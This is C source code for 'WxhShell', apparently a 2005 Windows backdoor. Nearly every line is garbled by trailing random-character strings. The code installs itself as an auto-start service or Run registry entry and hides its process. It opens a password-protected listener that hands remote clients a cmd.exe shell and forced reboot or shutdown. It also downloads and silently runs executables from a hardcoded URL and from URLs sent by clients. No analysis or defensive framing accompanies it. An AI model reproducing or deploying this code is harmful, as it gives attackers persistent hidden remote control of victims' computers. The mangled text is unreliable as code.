  // 关机 qZ7/d,w  
  case 'd': { tJ9i{TS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r-a/vx#  
    if(Boot(SHUTDOWN)) slK L(-D{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [bvIT]Z  
    else {  =j1rw  
    closesocket(wsh); -3T6ck  
    ExitThread(0); sx0:g?F3j  
    } YEx7 6  
    break; =1"8ua  
    } 3 # ua  
  // 获取shell (_ElM>  
  case 's': { fw1g;;E  
    CmdShell(wsh); 0oi =}lV  
    closesocket(wsh); \'40u|f  
    ExitThread(0); K}U}h>N  
    break; bh1WD_  
  } 5? s$(Lt~  
  // 退出 O5Xu(q5+  
  case 'x': { 8PV`4=,OI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }$ Am;%?p  
    CloseIt(wsh); :d<;h:^_  
    break; 217KJ~)'  
    } $h-5PwHp  
  // 离开 -)tu$W*  
  case 'q': { r='"X#CmV/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dviL5Eaj  
    closesocket(wsh); pU*dE   
    WSACleanup(); , ]'?Gd  
    exit(1); ZAPT5  
    break; Hs+VA$$*  
        } "oYyeT ,?  
  } YQ _3[[xT  
  } cFoDR  
^V~r S8]gj  
  // 提示信息 ?1('s0s\,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wb"*9q06  
} !#nlWX :~  
  } p_jDnb#  
!ldb_*)h  
  return; zZ|Si  
} 1;[\xqJ  
o~F @1  
// shell模块句柄 DH_Mll>  
int CmdShell(SOCKET sock) Vet7a_  
{ "K z=Z C  
STARTUPINFO si; 2Ek6YNx  
ZeroMemory(&si,sizeof(si)); 2hRaYX,g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EIwTx:{F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v3+ \A q   
PROCESS_INFORMATION ProcessInfo; <m80e),~  
char cmdline[]="cmd"; D!~-53f@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hp}J_/+4n  
  return 0; @U%I 6 t  
} ~n84x  
Ak$gh b  
// 自身启动模式 V$+xJ  m  
int StartFromService(void) z.:{   
{ 5o5y3ibQ  
typedef struct /GNRu  
{ +'?p $@d  
  DWORD ExitStatus; :xfD>K  
  DWORD PebBaseAddress; tZ[Y~],F  
  DWORD AffinityMask; 9/MUzt  
  DWORD BasePriority; `av8|;  
  ULONG UniqueProcessId; 8ltHR]v  
  ULONG InheritedFromUniqueProcessId; AyKaazm]9  
}   PROCESS_BASIC_INFORMATION; ](vsh gp2  
Z xLjh  
PROCNTQSIP NtQueryInformationProcess; l,*v/95h  
3C8'0DB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rO/mK$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >'/G:\M>A  
y5.Z<Y  
  HANDLE             hProcess; G|yX9C]R   
  PROCESS_BASIC_INFORMATION pbi; Mu18s}  
glh2CRUj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "';'*x  
  if(NULL == hInst ) return 0; zqqpBwk#  
5,'?NEyw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [SgP1>M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r:y *l4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h%(dT/jPL)  
/!UuGm   
  if (!NtQueryInformationProcess) return 0; phUno2fH  
0yXUVKq3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z bxd,|<|  
  if(!hProcess) return 0; -Xkdu?6Eh  
_n2PoE:5@P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @<\f[Znto  
Y2j>lf?8  
  CloseHandle(hProcess); <oPo?r|oM|  
VY@uQ#&A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xmTa$tR+  
if(hProcess==NULL) return 0; N<:5 r  
*J?QXsg  
HMODULE hMod; d5]9FIj  
char procName[255]; Y*O7lZuF%  
unsigned long cbNeeded; S)z jfJR  
,:QG%Et  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [b J/$A  
X4&{/;$  
  CloseHandle(hProcess); : KZI+  
7C ABM  
if(strstr(procName,"services")) return 1; // 以服务启动 )__vPPko i  
)ye[R^!}  
  return 0; // 注册表启动  ^DVr>u  
} bc5+}&W  
1&Rz'JQ+  
// 主模块 \*!?\Ko`W  
int StartWxhshell(LPSTR lpCmdLine) QR'"Zw&q5/  
{ hyL3fkMJ,  
  SOCKET wsl; }.4`zK&SB  
BOOL val=TRUE; KSuP'.l  
  int port=0; FgNO#%  
  struct sockaddr_in door; W{Ie(hf  
8^$}!9B~JZ  
  if(wscfg.ws_autoins) Install(); ];^A8?  
;or(:Yoc-  
port=atoi(lpCmdLine); `Te n2(D  
Wk'KN o  
if(port<=0) port=wscfg.ws_port; k _hiGg  
rZe"*$e  
  WSADATA data; IO`.]iG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >f19P+  
;Mc\>i/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s7SW4ff1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4kNf4l9Y  
  door.sin_family = AF_INET; BkJV{>?_+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HLAWx/c,j"  
  door.sin_port = htons(port); 3ZU`}  
\S}&QV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &m`1lxT  
closesocket(wsl); vML01SAi  
return 1; +e%9P%[+  
} Tm_AoZH  
sZPPS&KoP3  
  if(listen(wsl,2) == INVALID_SOCKET) { /lm;.7_J+  
closesocket(wsl); zVZZdG~8  
return 1; Jj|HeZ1C f  
} #wNksh/J^  
  Wxhshell(wsl); q*Yh_IT.I  
  WSACleanup(); /P5w}n  
z* YkD"]B  
return 0; %z J)mOu  
AR]y p{NS  
} II)\rVP5  
PLKp<kg  
// 以NT服务方式启动 IBf&'/ 8\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WHqp7NPl  
{ s,"<+80%  
DWORD   status = 0; Bra>C  
  DWORD   specificError = 0xfffffff; ly}6zOC\  
?2%d;tW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h5U@Ys  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -B9C2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mgL~ $  
  serviceStatus.dwWin32ExitCode     = 0; R?(0:f  
  serviceStatus.dwServiceSpecificExitCode = 0; F5gL-\6  
  serviceStatus.dwCheckPoint       = 0; ?7@B$OlU  
  serviceStatus.dwWaitHint       = 0; j=r`[B m  
o  <0f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,<zGvksk  
  if (hServiceStatusHandle==0) return; )~T)$TS  
_jR%o1Y}  
status = GetLastError(); A$WE:<^  
  if (status!=NO_ERROR) xSs);XO,  
{ "L|Ew#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @T._   
    serviceStatus.dwCheckPoint       = 0; I(#Y\>DG  
    serviceStatus.dwWaitHint       = 0; Z2(z,pK  
    serviceStatus.dwWin32ExitCode     = status; +b.<bb6  
    serviceStatus.dwServiceSpecificExitCode = specificError; (LA%q6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JaXT B"e  
    return; 75r>~@)*  
  } iP~5=  
LpGplD lB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &&xBq?  
  serviceStatus.dwCheckPoint       = 0; '~VKH}b  
  serviceStatus.dwWaitHint       = 0; CuR\JKdRo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]IoJ(4f  
} '+?AaR&p?  
,fpu@@2  
// 处理NT服务事件,比如:启动、停止 e ,/I}W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5:Pp62  
{ <h4"^9hL  
switch(fdwControl) $]%;u: Sa  
{ /WRS6n  
case SERVICE_CONTROL_STOP: 8s/gjEwA  
  serviceStatus.dwWin32ExitCode = 0; r )ZUeHt}w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }Xr-xh \v  
  serviceStatus.dwCheckPoint   = 0; w0)V3  
  serviceStatus.dwWaitHint     = 0; Y|_ #yb  
  { MGfDxHg]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @HxEp;*NH"  
  } 6b~Zv$5^Y-  
  return; &dh%sFy  
case SERVICE_CONTROL_PAUSE: n`2 d   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 81eDN6 M\  
  break; jA$g0>  
case SERVICE_CONTROL_CONTINUE: $HF. 02{|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =MEv{9_  
  break; dFS>uIT7X  
case SERVICE_CONTROL_INTERROGATE: \{t#V ~  
  break; -$f~V\M  
}; mM!'~{r[-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [4"1TyW  
} klxVsx%I{G  
WjW+ EF8(  
// 标准应用程序主函数 ((Ak/qz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uz-,)  
{ j2c -01}  
+>/ariRr  
// 获取操作系统版本 >G$8\&]j  
OsIsNt=GetOsVer(); gELku .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mEfI2P)#|  
seC]=UJh#>  
  // 从命令行安装 DZ92;m  
  if(strpbrk(lpCmdLine,"iI")) Install(); k{;"Aj:iL  
>A5R  
  // 下载执行文件 rZ2X$FO@  
if(wscfg.ws_downexe) { lT#&\JQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <cNXe4(  
  WinExec(wscfg.ws_filenam,SW_HIDE); Aayh'xQ  
} <nlZ?~%}  
9]fhH  
if(!OsIsNt) { 59!yz'feF  
// 如果时win9x,隐藏进程并且设置为注册表启动 fftFNHP  
HideProc(); h[ #Lg3  
StartWxhshell(lpCmdLine); i]J*lM7'  
} g}"`@H(9r3  
else xI}o8GKQq  
  if(StartFromService()) k"D6Vyy`  
  // 以服务方式启动 X TEC0s"F  
  StartServiceCtrlDispatcher(DispatchTable); I=o[\?u*_  
else to,DN2rN  
  // 普通方式启动 c[\ :^w^I6  
  StartWxhshell(lpCmdLine); 4 YDK`:4I~  
~XN--4%Q  
return 0; =}>wxO  
} uPKq<hBI  
<_$]!Z6UR  
?j;e/r.  
XI:8_F;Q  
=========================================== pd{W(M78g  
K]ob>wPf  
-1iKeyyA  
9pUvw_9MY  
fZ1v|  
:f%FM&b  
" .Uq?SmK  
b~X^vXIv%%  
#include <stdio.h> wmKM:`&[5  
#include <string.h> @ODwO;_R5  
#include <windows.h> E .^5N~.  
#include <winsock2.h> 9zSHn.y  
#include <winsvc.h> CT,caa  
#include <urlmon.h> DP\s-JpI[  
' QGacV   
#pragma comment (lib, "Ws2_32.lib") B?A c  
#pragma comment (lib, "urlmon.lib") @Gp=9\L  
?PVJeFH  
#define MAX_USER   100 // 最大客户端连接数 Mx<z34(T  
#define BUF_SOCK   200 // sock buffer @)s;u}H  
#define KEY_BUFF   255 // 输入 buffer #=F"PhiX`  
uT'_}cw  
#define REBOOT     0   // 重启 rE0?R( _  
#define SHUTDOWN   1   // 关机 i;Cs,Esnf  
pm$2*!1F(  
#define DEF_PORT   5000 // 监听端口 K*iy^}  
bj23S&  
#define REG_LEN     16   // 注册表键长度 \Zc$X^}vN  
#define SVC_LEN     80   // NT服务名长度 J$6h% Eyo  
:*bv(~FW  
// 从dll定义API  7'u<)V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dv=y,q@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %pj 6[x`@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RrrW0<Ed  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5tPBTS<<"L  
K$OxeJP?F  
// wxhshell配置信息 =|>CB  
struct WSCFG { hY 2nT  
  int ws_port;         // 监听端口 S\fEV"  
  char ws_passstr[REG_LEN]; // 口令 3sG7G:4  
  int ws_autoins;       // 安装标记, 1=yes 0=no  aEUC  
  char ws_regname[REG_LEN]; // 注册表键名 Fe 3*pUt  
  char ws_svcname[REG_LEN]; // 服务名 }L Q9db1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yhdt"@;..  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1HQh%dZZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?#8',:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O@JgVdgf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y g>W.wA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &y` MDyXz  
@3`:aWda  
}; Y `4AML  
1'ne[@i^/  
// default Wxhshell configuration s X&.8  
struct WSCFG wscfg={DEF_PORT, d"3S[_U  
    "xuhuanlingzhe", tHNvb\MR$  
    1, jVP70c  
    "Wxhshell", *hVbjI$  
    "Wxhshell", QZy+`  
            "WxhShell Service", |GuIp8~  
    "Wrsky Windows CmdShell Service", RmS|X"zc  
    "Please Input Your Password: ", D|-^}I4  
  1, x._IP,vRx^  
  "http://www.wrsky.com/wxhshell.exe", sYV7t*l  
  "Wxhshell.exe" []HMUL]"  
    }; !iKR~&UpAL  
u] C/RDTH  
// 消息定义模块 JQ{ g' cT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,w~0U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rM<lPMr1*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bvzu{B%  
char *msg_ws_ext="\n\rExit."; >55c{|"@L  
char *msg_ws_end="\n\rQuit."; 2p\CCzw  
char *msg_ws_boot="\n\rReboot..."; ~wnTl[:  
char *msg_ws_poff="\n\rShutdown..."; &gJKJ=7  
char *msg_ws_down="\n\rSave to "; }~P%S(zB  
n8(B%KF  
char *msg_ws_err="\n\rErr!"; p7(Pymkd  
char *msg_ws_ok="\n\rOK!"; '\%c"?  
OJd!g/V  
char ExeFile[MAX_PATH]; 6BIP;, M=  
int nUser = 0; Xx{ho 4qq  
HANDLE handles[MAX_USER]; mv@cGdxu  
int OsIsNt; KTn,}7vZ  
8 vNgePn  
SERVICE_STATUS       serviceStatus; x_9<&Aj6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *8}Y0V\s  
=4GJYhj  
// 函数声明 (]wi^dE  
int Install(void); b?Wg|D  
int Uninstall(void); 3L/qU^`  
int DownloadFile(char *sURL, SOCKET wsh); H5t 9Mg|  
int Boot(int flag); (H*-b4]/  
void HideProc(void); "8K>Yu17  
int GetOsVer(void); M=[/v/M=  
int Wxhshell(SOCKET wsl); 2m. RM&TdB  
void TalkWithClient(void *cs); H <CsB  
int CmdShell(SOCKET sock); ,4y' (DA  
int StartFromService(void); N;,?k.vU  
int StartWxhshell(LPSTR lpCmdLine); 97:1L4w.(  
.0]4@'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wUzQ`h2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "%~\kJ(G  
v+-f pl&  
// 数据结构和表定义 U$a Eby.  
SERVICE_TABLE_ENTRY DispatchTable[] = f`<j(.{9F  
{ 6cof Zc$  
{wscfg.ws_svcname, NTServiceMain}, `B+%W  
{NULL, NULL} yu"Ii-9z  
}; 2}j2Bhc  
={' "ATX(U  
// 自我安装 ~XGO^P"?  
int Install(void) a2W}Wb+  
{ h"VQFqQy  
  char svExeFile[MAX_PATH]; Tks;,C  
  HKEY key; {9TWPB/>  
  strcpy(svExeFile,ExeFile); "cjZ6^Hum  
Mr'}IX5  
// 如果是win9x系统,修改注册表设为自启动 xw: v|(  
if(!OsIsNt) { 3_=~7B) 8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rf@D]+v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;SQ<^"eK  
  RegCloseKey(key); Wd4fIegk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L/(e/Jalg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2&91C[da0  
  RegCloseKey(key); $;un$ko6%  
  return 0; 1A^iUC5)  
    } i} 96, {  
  } q0WW^jwQ  
} )gdv!  
else { || ?B1  
5A1oZ+C#  
// 如果是NT以上系统,安装为系统服务 / uI/8>p(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oR}ir  
if (schSCManager!=0) y8: 0VZox  
{ o;Ijv\Em  
  SC_HANDLE schService = CreateService 4W8rb'B!Ay  
  ( w?ssV  
  schSCManager, IV^LYu  
  wscfg.ws_svcname, dsDoPo0!  
  wscfg.ws_svcdisp, q3Umqvl)oe  
  SERVICE_ALL_ACCESS, BOJ h-(>I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~WuElns  
  SERVICE_AUTO_START, "@B! 5s0  
  SERVICE_ERROR_NORMAL, <[C 9F1]Ya  
  svExeFile, Pb?H cg  
  NULL, mm$D1=h{|  
  NULL, >`*iM  
  NULL, ^vm[`M  
  NULL, OXDlwbwL  
  NULL ))c;DJc  
  ); lp[3z& u  
  if (schService!=0) c?) pn9  
  { 6A M,1  
  CloseServiceHandle(schService); l^xkXj  
  CloseServiceHandle(schSCManager); qGkrG38K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _yjM_ALjo  
  strcat(svExeFile,wscfg.ws_svcname); L*tXy>&b.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kN9S;o@)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X@+:O-$  
  RegCloseKey(key); $}oQ=+c5  
  return 0; e<5+&Cj  
    } N&NOh|YS  
  } HY#7Ctn3  
  CloseServiceHandle(schSCManager); zc J]US  
} G_5sF|(mq  
} OxElvbM#  
vVyO}Q`  
return 1; q" wi.&|  
} !|_ CXm T|  
y- k?_$ M  
// 自我卸载 7^sU/3z  
int Uninstall(void) WA Y<X:|We  
{ ^a; V-US  
  HKEY key; 4W9!_:j(j  
*p?b"{_a  
if(!OsIsNt) { qh$D;t1=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {#QFDA  
  RegDeleteValue(key,wscfg.ws_regname); 2`5(XpYe  
  RegCloseKey(key); 7tAWPSwf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *" <tFQ  
  RegDeleteValue(key,wscfg.ws_regname); {N5g52MN  
  RegCloseKey(key); N=D Ynz_~  
  return 0; 4:r^6m%%  
  } zq!2);,  
} :&yRvu  
} !Go(8`>  
else { VK`_ Qc#B  
:EgdV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CW\o>yh  
if (schSCManager!=0) OpxVy _5,  
{ yD1*^~loJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2DQ'h}BI  
  if (schService!=0) u-UUF  
  { ?^BsR  
  if(DeleteService(schService)!=0) { 1@)]+* F*z  
  CloseServiceHandle(schService); {DN c7G  
  CloseServiceHandle(schSCManager); SNvK8,"g  
  return 0; $pk3d+0B  
  } O#O~A |  
  CloseServiceHandle(schService); #a#~YSnG  
  } "EEE09~l\  
  CloseServiceHandle(schSCManager); 0nx <f>n  
} C,2IET  
} h83ho  
5[l3]HOO  
return 1; 1+eC'&@Xjt  
} -D:J$d 6R<  
"]c:V4S#`A  
// 从指定url下载文件 S-2xe?sb  
int DownloadFile(char *sURL, SOCKET wsh) ?[!.TU?4N  
{ ) 2S0OY.  
  HRESULT hr; ""pJO 6bI  
char seps[]= "/"; 4n3QW%#  
char *token; 2IjqT L  
char *file; YD@V2gK  
char myURL[MAX_PATH]; tB(Q-c  
char myFILE[MAX_PATH]; !c6 lP'U  
VPN@q<BV  
strcpy(myURL,sURL); 7/Lbs  
  token=strtok(myURL,seps); czMLvPXRx  
  while(token!=NULL) bSz6O/A/  
  { !YJdi~q  
    file=token; AX'(xb,  
  token=strtok(NULL,seps); }i[i{lKj  
  } t ?bq ~!X  
0?p_|X'_  
GetCurrentDirectory(MAX_PATH,myFILE); Y2<#%@%4  
strcat(myFILE, "\\"); ULU ]k#  
strcat(myFILE, file); #S<>+,Lk  
  send(wsh,myFILE,strlen(myFILE),0); }GkEv}~t  
send(wsh,"...",3,0); =1yUH9\,b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BOwkC;Q[  
  if(hr==S_OK) ~Ag !wj  
return 0; ,?&hqM\  
else (3]7[h7  
return 1; WDzov9ot  
NmB0CbB  
} tm]75*?  
fiw~"2U  
// 系统电源模块 B|extWwu  
int Boot(int flag) z[t$[Q g  
{ ybS7uo  
  HANDLE hToken; J|xqfY@+  
  TOKEN_PRIVILEGES tkp; }1R k]$XC  
{+C>^b  
  if(OsIsNt) { QJ"B d`wc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vpXS!o>/Sn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2Y wV}  
    tkp.PrivilegeCount = 1; 5j ]}/Aq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {xM%3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~]"}s(J;  
if(flag==REBOOT) { k(^zhET  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HwU \[f  
  return 0; *3 9sh[*}  
} 3N]pN<3@  
else { y~- ?   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W 8E<P y  
  return 0; #mllVQ  
} vjXvjv{t  
  } ).ugMuk  
  else { PFPfLxna  
if(flag==REBOOT) { 1Eg}qU,:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8:t-I]dzk  
  return 0; a[(n91J0  
} i(c2NPbX  
else { m%Ef]({I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2&tGJq-E  
  return 0; u|QfCwQ  
} @F,HyCSN  
} ,YkQJ$  
@L0wd>  
return 1; t#P)KcWOt  
} HvTi^Fb\a  
<M$hj6.tn  
// win9x进程隐藏模块 &0>{mq}p,:  
void HideProc(void) e9%6+ 9Y  
{ %djx0sy  
QGshc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Upv2s:wa}z  
  if ( hKernel != NULL ) C62<pLJf  
  { _&dGo(B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aB'<#X$x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sL\|y38'  
    FreeLibrary(hKernel); pnqjAT GU  
  } &rNXn?>b  
I) Y$?"  
return; |Zt=8}di  
} jM7}LV1Ck  
W B!$qie\  
// 获取操作系统版本 (yXVp2k  
int GetOsVer(void) N`zHe*=[~  
{ g:2/!tujL  
  OSVERSIONINFO winfo; mB1)!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "n8_Ag@r  
  GetVersionEx(&winfo); ;l`8w3fDt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u@gYEx}  
  return 1; (> 8fcQUBb  
  else N@A#e/8  
  return 0; F8=6!Qj  
} G4RsH/  
|/<iydP  
// 客户端句柄模块 -_4! id  
int Wxhshell(SOCKET wsl) aoJ&< vl3  
{ {;-$;\D  
  SOCKET wsh; gf3/kll9  
  struct sockaddr_in client; 8wy"m=>=b}  
  DWORD myID; ]7VK&YfN  
u5,IH2BU  
  while(nUser<MAX_USER) =Wjm_Rvk9  
{ >yWJk9h f  
  int nSize=sizeof(client); 9Q.j <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zc2,Mn2  
  if(wsh==INVALID_SOCKET) return 1; /NkZ;<uxJ  
bX6*/N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K GI]W|T  
if(handles[nUser]==0) b#y}VY)?  
  closesocket(wsh); QWxQD'L'  
else )Tb;N  
  nUser++; pD>3c9J'^F  
  } J`x9 XWYw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %2L9kw'  
}BfwMq4E)n  
  return 0; aSK$#Xeu  
} ,%jJ ,G,  
IcIMa  
// 关闭 socket ZtvU~'Q  
void CloseIt(SOCKET wsh) A5/h*`Q\\  
{ t)m4"p7  
closesocket(wsh); 8ziYav  
nUser--; bZlAK)  
ExitThread(0); 2xnOWW   
} h T Xc0  
~j 4=PT  
// 客户端请求句柄 D=OU61AA  
void TalkWithClient(void *cs) >N3{*W  
{ ' 5Ieqpm9  
au7BqV!uL  
  SOCKET wsh=(SOCKET)cs; qMUqd}=P  
  char pwd[SVC_LEN]; \ agC Q&  
  char cmd[KEY_BUFF]; ?3|ZS8y  
char chr[1]; eU12*(  
int i,j; Th8Q ~*v  
L*l( ~t)vF  
  while (nUser < MAX_USER) { V*TG%V -  
1rKR=To  
if(wscfg.ws_passstr) { .DX#:?@4@Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Dt\E4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  z7K?rgH  
  //ZeroMemory(pwd,KEY_BUFF); O@$hG8:  
      i=0; 3gM{lS}h#  
  while(i<SVC_LEN) {  qJK^i.e  
vd ;wQ  
  // 设置超时 IR>K ka(B  
  fd_set FdRead; "E8!{  
  struct timeval TimeOut; :#LB}=HQ  
  FD_ZERO(&FdRead); dHu]wog  
  FD_SET(wsh,&FdRead); !uZ+r%  
  TimeOut.tv_sec=8; ]MHQ "E?  
  TimeOut.tv_usec=0; RS:0xN\JN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MVj@0W33m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k]JLk"K  
s R~&S))  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hT_snb;ow  
  pwd=chr[0]; BNByaC  
  if(chr[0]==0xd || chr[0]==0xa) { IM#+@vv  
  pwd=0; DTJ  
  break; c]LH.  
  } e Jwr  
  i++; tb i;X=5  
    } /qCYNwWH9  
J\%:jg( m  
  // 如果是非法用户,关闭 socket Z  b1v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f"tO*/|`  
} hw7_8pAbh  
T-@pTJ !K9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Rvxjy)[N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .dfTv/n  
3}+/\:q*  
while(1) { &l.^UQ   
@N(jd($E  
  ZeroMemory(cmd,KEY_BUFF); *p-Fn$7\n  
}Q%>Fv  
      // 自动支持客户端 telnet标准   < d]|5  
  j=0; kal8k-$#  
  while(j<KEY_BUFF) { s=$7lYX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l:ED_env:  
  cmd[j]=chr[0]; _5)#{ o<  
  if(chr[0]==0xa || chr[0]==0xd) { M{S7ia"s  
  cmd[j]=0; 0{ ,zE  
  break; /X:lt^?%I  
  } Vy9n3W"FB1  
  j++; vW_A.iI"e  
    } %,^7J;  
G^R;~J*TDE  
  // 下载文件 f 4 _\F/  
  if(strstr(cmd,"http://")) { dbLX}>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {)[i\=,`{  
  if(DownloadFile(cmd,wsh)) daorKW4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8iCI s=06  
  else OBl8kH(b>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e%P;Jj476  
  } epL[PL}  
